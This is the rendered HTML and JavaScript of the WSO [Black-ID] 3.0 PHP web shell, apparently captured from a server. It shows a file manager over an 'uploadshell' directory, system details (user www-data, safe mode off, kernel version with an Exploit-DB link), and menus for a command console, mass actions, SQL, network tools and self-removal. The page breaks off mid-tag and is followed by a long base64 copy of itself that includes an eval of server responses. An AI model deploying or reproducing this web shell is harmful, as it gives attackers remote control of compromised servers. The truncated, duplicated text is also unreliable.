<link rel
='shortcut icon' href
='http://w...content-available-to-author-only...g.eu/favicon.ico'>
<style type='text/css'>
input
[type
=submit
], input
[type
=button
], input
[type
=reset]{ text-align:center;
background:url(http://i...content-available-to-author-only...c.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
padding:4px 6px;
margin:4px 5px;
height:16px;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
text-shadow:0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:23px;
}input
[type
=submit
]:hover
, input
[type
=button
]:hover
, input
[type
=reset]:hover
{ background-position:center top;
text-decoration:none;
}
input[type=text], input[type=password]{
background:urlhttp://i...content-available-to-author-only...c.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:18px;
margin-left: 5px;
}
input , textarea , button , body , caption , table ,area , option {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
input , textarea {
background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
}
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1); border: 1px solid #CCCC00; background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}body{
/* font-family : Verdana; */
color : #f9f6f1;
font-size : 0.7em;
background: url(http://i...content-available-to-author-only...c.com/i56tc9.jpg) no-repeat center top #252525;
}
input , textarea {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
}
input:focus, textarea:focus {
outline: 0;
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
background: url('http://i...content-available-to-author-only...c.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;}
</style>
<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>active-layout.com:8006- WSO [Black-ID] 3.0</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: #df5 !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '/var/www/sh3llZ/uploadshell/';
var a_ = 'FilesMan'
var charset_ = 'Windows-1251';
var p1_ = '';
var p2_ = '';
var p3_ = '';
function set(a,c,p1,p2,p3,charset) {
if(a != null)document.mf.a.value=a;else document.mf.a.value=a_;
if(c != null)document.mf.c.value=c;else document.mf.c.value=c_;
if(p1 != null)document.mf.p1.value=p1;else document.mf.p1.value=p1_;
if(p2 != null)document.mf.p2.value=p2;else document.mf.p2.value=p2_;
if(p3 != null)document.mf.p3.value=p3;else document.mf.p3.value=p3_;
if(charset != null)document.mf.charset.value=charset;else document.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
document.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<document.mf.elements.length;i++)
params += '&'+document.mf.elements[i].name+'='+encodeURIComponent(document.mf.elements[i].value);
sr('/sh3llZ/uploadshell/wso.php', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp("(\\d+)([\\S\\s]*)", 'm');
var arr
=reg
.exec(req
.responseText
); } else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form><table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:</span></td><td><nobr>Linux apache 3.2.0-53-generic-pae #81-Ubuntu SMP Thu Aug 22 21:23:47 UTC 2013 i686 <a href="http://www.google.com/search?q=Linux+apache+3.2.0-53-generic-pae+%2381-Ubuntu+SMP+Thu+Aug+22+21%3A23%3A47+UTC+2013+i686" target="_blank">[Google]</a> <a href="http://w...content-available-to-author-only...b.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+3.2.0-" target=_blank>[Exploit-DB]</a></nobr><br>33 ( www-data ) <span>Group:</span> 33 ( www-data )<br>5.3.3-7+squeeze14 <span>Safe mode:</span> <font color=#00bb00><b>OFF</b></font> <a href=# onclick="g('Php',null,'','info')">[ phpinfo ]</a> <span>Datetime:</span> 2014-08-07 20:22:28<br>3.93 GB <span>Free:</span> 2.80 GB (71%)<br><a href='#' onclick='g("FilesMan","/")'>/</a><a href='#' onclick='g("FilesMan","/var/")'>var/</a><a href='#' onclick='g("FilesMan","/var/www/")'>www/</a><a href='#' onclick='g("FilesMan","/var/www/sh3llZ/")'>sh3llZ/</a><a href='#' onclick='g("FilesMan","/var/www/sh3llZ/uploadshell/")'>uploadshell/</a> <font color=#00BB00>drwxrwxr-t</font> <a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell','','','')">[ home ]</a><br></td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset"><option value="UTF-8" >UTF-8</option><option value="Windows-1251" selected>Windows-1251</option><option value="KOI8-R" >KOI8-R</option><option value="KOI8-U" >KOI8-U</option><option value="cp866" >cp866</option></optgroup></select><br><span>Server IP:</span><br>10.0.2.6<br><span>Client IP:</span><br>192.168.1.1<br><a href="http://w...content-available-to-author-only...g.com/search?q=ip:10.0.2.6" target=_blank>[ Bing ]</a> | <a href="http://w...content-available-to-author-only...h.org/archive/ip=10.0.2.6" target=_blank>[ Zone-H ]</a><br></nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr><th width="10%">[<a href="#" onclick="g('SecInfo',null,'','','')">Sec. Info</a>]</th><th width="10%">[<a href="#" onclick="g('FilesMan',null,'','','')">Files</a>]</th><th width="10%">[<a href="#" onclick="g('Console',null,'','','')">Console</a>]</th><th width="10%">[<a href="#" onclick="g('Mass',null,'','','')">Mass</a>]</th><th width="10%">[<a href="#" onclick="g('Domain',null,'','','')">Domains</a>]</th><th width="10%">[<a href="#" onclick="g('Sql',null,'','','')">Sql</a>]</th><th width="10%">[<a href="#" onclick="g('SafeMode',null,'','','')">Safe mode</a>]</th><th width="10%">[<a href="#" onclick="g('StringTools',null,'','','')">String tools</a>]</th><th width="10%">[<a href="#" onclick="g('Network',null,'','','')">Network</a>]</th><th width="10%">[<a href="#" onclick="g('SelfRemove',null,'','','')">Self remove</a>]</th></tr></table><div style="margin:5"><h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script><script>
function sa() {
for(i=0;i<document.files.elements.length;i++)
if(document.files.elements[i].type == 'checkbox')
document.files.elements[i].checked = document.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g("FilesMan",null,"s_name_0")'>Name</a></th><th><a href='#' onclick='g("FilesMan",null,"s_size_0")'>Size</a></th><th><a href='#' onclick='g("FilesMan",null,"s_modify_0")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g("FilesMan",null,"s_perms_0")'>Permissions</a></th><th>Actions</th></tr><tr><td><input type=checkbox name="f[]" value=".." class=chkbx></td><td><a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell/..');"><b>[ .. ]</b></a></td><td>dir</td><td>2012-01-25 16:27:26</td><td>web/www-data</td><td><a href=# onclick="g('FilesTools',null,'..','chmod')"><font color=white>drwxr-xr-x</font></td><td><a href="#" onclick="g('FilesTools',null,'..', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'..', 'touch')">T</a></td></tr><tr class=l1><td><input type=checkbox name="f[]" value="ppl" class=chkbx></td><td><a href=# onclick="g('FilesMan','/var/www/sh3llZ/uploadshell/ppl');"><b>[ ppl ]</b></a></td><td>dir</td><td>2014-08-07 20:18:00</td><td>www-data/www-data</td><td><a href=# onclick="g('FilesTools',null,'ppl','chmod')"><font color=#00BB00>drwxr-xr-x</font></td><td><a href="#" onclick="g('FilesTools',null,'ppl', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'ppl', 'touch')">T</a></td></tr><tr><td><input type=checkbox name="f[]" value="uploadshell.php" class=chkbx></td><td><a href=# onclick="g('FilesTools',null,'uploadshell.php', 'view')">uploadshell.php</a></td><td>9.25 KB</td><td>2012-01-25 16:17:07</td><td>web/www-data</td><td><a href=# onclick="g('FilesTools',null,'uploadshell.php','chmod')"><font color=white>-rw-r--r--</font></td><td><a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'uploadshell.php', 'download')">D</a></td></tr><tr class=l1><td><input type=checkbox name="f[]" value="wso.php" class=chkbx></td><td><a href=# onclick="g('FilesTools',null,'wso.php', 'view')">wso.php</a></td><td>23.93 KB</td><td>2014-08-07 20:17:22</td><td>www-data/www-data</td><td><a href=# onclick="g('FilesTools',null,'wso.php','chmod')"><font color=#00BB00>-rw-r--r--</font></td><td><a href="#" onclick="g('FilesTools',null,'wso.php', 'rename')">R</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'touch')">T</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'edit')">E</a> <a href="#" onclick="g('FilesTools',null,'wso.php', 'download')">D</a></td></tr><tr><td colspan=7>
<inpu
PGxpbmsgcmVsPSdzaG9ydGN1dCBpY29uJyBocmVmPSdodHRwOi8vdy4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZy5ldS9mYXZpY29uLmljbyc+CiAKIDxzdHlsZSB0eXBlPSd0ZXh0L2Nzcyc+CiBpbnB1dFt0eXBlPXN1Ym1pdF0sIGlucHV0W3R5cGU9YnV0dG9uXSwgaW5wdXRbdHlwZT1yZXNldF17Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWJhY2tncm91bmQ6dXJsKGh0dHA6Ly9pLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5jLmNvbS81b3dnbXEuanBnKSByZXBlYXQteCBjZW50ZXIgYm90dG9tICM2NjY2NjY7Cglib3JkZXI6MXB4IHNvbGlkICM0RDRENEQ7Cgljb2xvcjojQ0NDQ0NDOwoJYm9yZGVyLXRvcC1jb2xvcjojNTY1NjU2OwoJcGFkZGluZzo0cHggNnB4OwoJbWFyZ2luOjRweCA1cHg7CgloZWlnaHQ6MTZweDsKCS1tb3otYm94LXNoYWRvdzowIDAgMXB4IGJsYWNrOwoJLXdlYmtpdC1ib3gtc2hhZG93OjAgMCAxcHggYmxhY2s7Cglib3gtc2hhZG93OjAgMCAxcHggYmxhY2s7Cgl0ZXh0LXNoYWRvdzowIDFweCBibGFjazsKCS1tb3otYm9yZGVyLXJhZGl1czo0cHg7Cgktd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4OwoJLWtodG1sLWJvcmRlci1yYWRpdXM6NHB4OwoJYm9yZGVyLXJhZGl1czo0cHg7CgloZWlnaHQ6MjNweDsKfWlucHV0W3R5cGU9c3VibWl0XTpob3ZlciAsIGlucHV0W3R5cGU9YnV0dG9uXTpob3ZlciwgaW5wdXRbdHlwZT1yZXNldF06aG92ZXJ7CgliYWNrZ3JvdW5kLXBvc2l0aW9uOmNlbnRlciB0b3A7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsKfQppbnB1dFt0eXBlPXRleHRdLCBpbnB1dFt0eXBlPXBhc3N3b3JkXXsKCWJhY2tncm91bmQ6dXJsaHR0cDovL2kuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLmMuY29tLzVvd2dtcS5qcGcpIHJlcGVhdC14IGNlbnRlciBib3R0b20gIzY2NjY2NjsKCWJvcmRlcjoxcHggc29saWQgIzRENEQ0RDsKCWNvbG9yOiNDQ0NDQ0M7Cglib3JkZXItdG9wLWNvbG9yOiM1NjU2NTY7CgktbW96LWJveC1zaGFkb3c6MCAwIDFweCBibGFjazsKCS13ZWJraXQtYm94LXNoYWRvdzowIDAgMXB4IGJsYWNrOwoJYm94LXNoYWRvdzowIDAgMXB4IGJsYWNrOwoJLW1vei1ib3JkZXItcmFkaXVzOjRweDsKCS13ZWJraXQtYm9yZGVyLXJhZGl1czo0cHg7Cgkta2h0bWwtYm9yZGVyLXJhZGl1czo0cHg7Cglib3JkZXItcmFkaXVzOjRweDsKCWhlaWdodDoxOHB4OwoJbWFyZ2luLWxlZnQ6IDVweDsKfQppbnB1dCAsIHRleHRhcmVhICwgYnV0dG9uICwgYm9keSAsIGNhcHRpb24gLCB0YWJsZSAsYXJlYSAsIG9wdGlvbiB7CiAgICBvdXRsaW5lOm5vbmU7CiAgICB0cmFuc2l0aW9uOiBhbGwgMC4yMHMgZWFzZS1pbi1vdXQ7CiAgICAtd2Via2l0LXRyYW5zaXRpb246IGFsbCAwLjI1cyBlYXNlLWluLW91dDsKICAgIC1tb3otdHJhbnNpdGlvbjogYWxsIDAuMjVzIGVhc2UtaW4tb3V0OwogICAgYm9yZGVyLXJhZGl1czozcHg7CiAgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6M3B4OwogICAgLW1vei1ib3JkZXItcmFkaXVzOjNweDsKICAgIGJvcmRlcjoxcHggc29saWQgcmdiYSgwLDAsMCwgMC4yKTsKIC8qICAgZm9udC1mYW1pbHk6ICdHaWxsIFNhbnMnLCAnR2lsbCBTYW5zIE1UJywgQ2FsaWJyaSwgJ1RyZWJ1Y2hldCBNUycsIHNhbnMtc2VyaWY7ICovCn0KaW5wdXQgLCB0ZXh0YXJlYSB7CiAgICBiYWNrZ3JvdW5kOiB1cmwoJ2h0dHA6Ly9pLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5jLmNvbS9pYmttZDUucG5nJykgcmVwZWF0IHNjcm9sbCAwIDAgIzMzMzMzMzsnOwp9CmlucHV0OmZvY3VzLCB0ZXh0YXJlYTpmb2N1cyAsYnV0dG9uOmFjdGl2ZSAsIGJvZHk6Zm9jdXMgLCBjYXB0aW9uOmZvY3VzICwgdGFibGU6Zm9jdXMgLGFyZWE6Zm9jdXMgLG9wdGlvbjpmb2N1cyAgewogICAgYm94LXNoYWRvdzogMCAwIDVweCByZ2JhKDAsIDAsIDI1NSwgMSk7CiAgICAtd2Via2l0LWJveC1zaGFkb3c6IDAgMCA1cHggcmdiYSgwLCAwLCAyNTUsIDEpOwogICAgLW1vei1ib3gtc2hhZG93OiAwIDAgNXB4IHJnYmEoMCwgMCwgMjU1LCAxKTsgICAgYm9yZGVyOiAxcHggc29saWQgI0NDQ0MwMDsgICAgYmFja2dyb3VuZDogdXJsKCdodHRwOi8vaS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uYy5jb20vaWJrbWQ1LnBuZycpIHJlcGVhdCBzY3JvbGwgMCAwICMzMzMzMzM7JzsKICAgIG92ZXJmbG93OiBhdXRvOwovKiAgICBmb250LWZhbWlseTogJ0dpbGwgU2FucycsICdHaWxsIFNhbnMgTVQnLCBDYWxpYnJpLCAnVHJlYnVjaGV0IE1TJywgc2Fucy1zZXJpZjsgKi8KfWJvZHl7Ci8qCWZvbnQtZmFtaWx5IDogVmVyZGFuYTsgKi8KCWNvbG9yIDogI2Y5ZjZmMTsKCWZvbnQtc2l6ZSA6IDAuN2VtOwoJYmFja2dyb3VuZDogdXJsKGh0dHA6Ly9pLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5jLmNvbS9pNTZ0YzkuanBnKSBuby1yZXBlYXQgY2VudGVyIHRvcCAjMjUyNTI1Owp9CmlucHV0ICwgdGV4dGFyZWEgewogICAgb3V0bGluZTpub25lOwogICAgdHJhbnNpdGlvbjogYWxsIDAuMjBzIGVhc2UtaW4tb3V0OwogICAgLXdlYmtpdC10cmFuc2l0aW9uOiBhbGwgMC4yNXMgZWFzZS1pbi1vdXQ7CiAgICAtbW96LXRyYW5zaXRpb246IGFsbCAwLjI1cyBlYXNlLWluLW91dDsKICAgIGJvcmRlci1yYWRpdXM6M3B4OwogICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOjNweDsKICAgIC1tb3otYm9yZGVyLXJhZGl1czozcHg7CiAgICBib3JkZXI6MXB4IHNvbGlkIHJnYmEoMCwwLDAsIDAuMik7Cn0KaW5wdXQ6Zm9jdXMsIHRleHRhcmVhOmZvY3VzIHsKICBvdXRsaW5lOiAwOwogIGJvcmRlci1jb2xvcjogcmdiYSg4MiwgMTY4LCAyMzYsIDAuOCk7CiAgLXdlYmtpdC1ib3gtc2hhZG93OiBpbnNldCAwIDFweCAzcHggcmdiYSgwLCAwLCAwLCAwLjEpLCAwIDAgOHB4IHJnYmEoODIsIDE2OCwgMjM2LCAwLjYpOwogIC1tb3otYm94LXNoYWRvdzogaW5zZXQgMCAxcHggM3B4IHJnYmEoMCwgMCwgMCwgMC4xKSwgMCAwIDhweCByZ2JhKDgyLCAxNjgsIDIzNiwgMC42KTsKICBib3gtc2hhZG93OiBpbnNldCAwIDFweCAzcHggcmdiYSgwLCAwLCAwLCAwLjEpLCAwIDAgOHB4IHJnYmEoODIsIDE2OCwgMjM2LCAwLjYpOwogICAgYmFja2dyb3VuZDogdXJsKCdodHRwOi8vaS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uYy5jb20vaWJrbWQ1LnBuZycpIHJlcGVhdCBzY3JvbGwgMCAwICMzMzMzMzM7JzsKICAgIG92ZXJmbG93OiBhdXRvO30KICA8L3N0eWxlPgogIDxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PVdpbmRvd3MtMTI1MSc+PHRpdGxlPmFjdGl2ZS1sYXlvdXQuY29tOjgwMDYtIFdTTyBbQmxhY2stSURdIDMuMDwvdGl0bGU+CjxzdHlsZT4KYm9keXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7Y29sb3I6I2UxZTFlMTt9CmJvZHksdGQsdGh7IGZvbnQ6IDlwdCBMdWNpZGEsVmVyZGFuYTttYXJnaW46MDt2ZXJ0aWNhbC1hbGlnbjp0b3A7Y29sb3I6I2UxZTFlMTsgfQp0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQpzcGFuLGgxLGF7IGNvbG9yOiAjZGY1ICFpbXBvcnRhbnQ7IH0Kc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQpoMXsgYm9yZGVyLWxlZnQ6NXB4IHNvbGlkICNkZjU7cGFkZGluZzogMnB4IDVweDtmb250OiAxNHB0IFZlcmRhbmE7YmFja2dyb3VuZC1jb2xvcjojMjIyO21hcmdpbjowcHg7IH0KZGl2LmNvbnRlbnR7IHBhZGRpbmc6IDVweDttYXJnaW4tbGVmdDo1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzOyB9CmF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CmE6aG92ZXJ7IHRleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7IH0KLm1sMXsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9Ci5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7IG1hcmdpbjowO2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlcjoxcHggc29saWQgI2RmNTsgZm9udDogOXB0IE1vbm9zcGFjZSwnQ291cmllciBOZXcnOyB9CmZvcm17IG1hcmdpbjowcHg7IH0KI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQoudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9Ci5tYWluIHRoe3RleHQtYWxpZ246bGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQoubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9Ci5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CnByZXtmb250LWZhbWlseTpDb3VyaWVyLE1vbm9zcGFjZTt9Cjwvc3R5bGU+CjxzY3JpcHQ+CiAgICB2YXIgY18gPSAnL3Zhci93d3cvc2gzbGxaL3VwbG9hZHNoZWxsLyc7CiAgICB2YXIgYV8gPSAnRmlsZXNNYW4nCiAgICB2YXIgY2hhcnNldF8gPSAnV2luZG93cy0xMjUxJzsKICAgIHZhciBwMV8gPSAnJzsKICAgIHZhciBwMl8gPSAnJzsKICAgIHZhciBwM18gPSAnJzsKCWZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewoJCWlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwoJCWlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7ZWxzZSBkb2N1bWVudC5tZi5jLnZhbHVlPWNfOwoJCWlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7ZWxzZSBkb2N1bWVudC5tZi5wMS52YWx1ZT1wMV87CgkJaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKCQlpZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzO2Vsc2UgZG9jdW1lbnQubWYucDMudmFsdWU9cDNfOwoJCWlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7ZWxzZSBkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXRfOwoJfQoJZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewoJCXNldChhLGMscDEscDIscDMsY2hhcnNldCk7CgkJZG9jdW1lbnQubWYuc3VibWl0KCk7Cgl9CglmdW5jdGlvbiBhKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CgkJc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKCQl2YXIgcGFyYW1zID0gJ2FqYXg9dHJ1ZSc7CgkJZm9yKGk9MDtpPGRvY3VtZW50Lm1mLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCXBhcmFtcyArPSAnJicrZG9jdW1lbnQubWYuZWxlbWVudHNbaV0ubmFtZSsnPScrZW5jb2RlVVJJQ29tcG9uZW50KGRvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLnZhbHVlKTsKCQlzcignL3NoM2xsWi91cGxvYWRzaGVsbC93c28ucGhwJywgcGFyYW1zKTsKCX0KCWZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CgkJaWYgKHdpbmRvdy5YTUxIdHRwUmVxdWVzdCkKCQkJcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CgkJZWxzZSBpZiAod2luZG93LkFjdGl2ZVhPYmplY3QpCgkJCXJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCdNaWNyb3NvZnQuWE1MSFRUUCcpOwogICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgIHJlcS5vcGVuKCdQT1NUJywgdXJsLCB0cnVlKTsKICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCdDb250ZW50LVR5cGUnLCAnYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJyk7CiAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgfQoJfQoJZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKCQlpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKCQkJaWYocmVxLnN0YXR1cyA9PSAyMDApIHsKCQkJCXZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICdtJyk7CgkJCQl2YXIgYXJyPXJlZy5leGVjKHJlcS5yZXNwb25zZVRleHQpOwoJCQkJZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwoJCQl9IGVsc2UgYWxlcnQoJ1JlcXVlc3QgZXJyb3IhJyk7Cgl9Cjwvc2NyaXB0Pgo8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSdwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO2JhY2tncm91bmQtY29sb3I6IzQ0NDt0b3A6MDtsZWZ0OjA7Jz4KPGZvcm0gbWV0aG9kPXBvc3QgbmFtZT1tZiBzdHlsZT0nZGlzcGxheTpub25lOyc+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWM+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDM+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQ+CjwvZm9ybT48dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlBocDo8YnI+SGRkOjxicj5Dd2Q6PC9zcGFuPjwvdGQ+PHRkPjxub2JyPkxpbnV4IGFwYWNoZSAzLjIuMC01My1nZW5lcmljLXBhZSAjODEtVWJ1bnR1IFNNUCBUaHUgQXVnIDIyIDIxOjIzOjQ3IFVUQyAyMDEzIGk2ODYgIDxhIGhyZWY9Imh0dHA6Ly93d3cuZ29vZ2xlLmNvbS9zZWFyY2g/cT1MaW51eCthcGFjaGUrMy4yLjAtNTMtZ2VuZXJpYy1wYWUrJTIzODEtVWJ1bnR1K1NNUCtUaHUrQXVnKzIyKzIxJTNBMjMlM0E0NytVVEMrMjAxMytpNjg2IiB0YXJnZXQ9Il9ibGFuayI+W0dvb2dsZV08L2E+IDxhIGhyZWY9Imh0dHA6Ly93Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5iLmNvbS9zZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9MSZmaWx0ZXJfZGVzY3JpcHRpb249TGludXgrS2VybmVsKzMuMi4wLSIgdGFyZ2V0PV9ibGFuaz5bRXhwbG9pdC1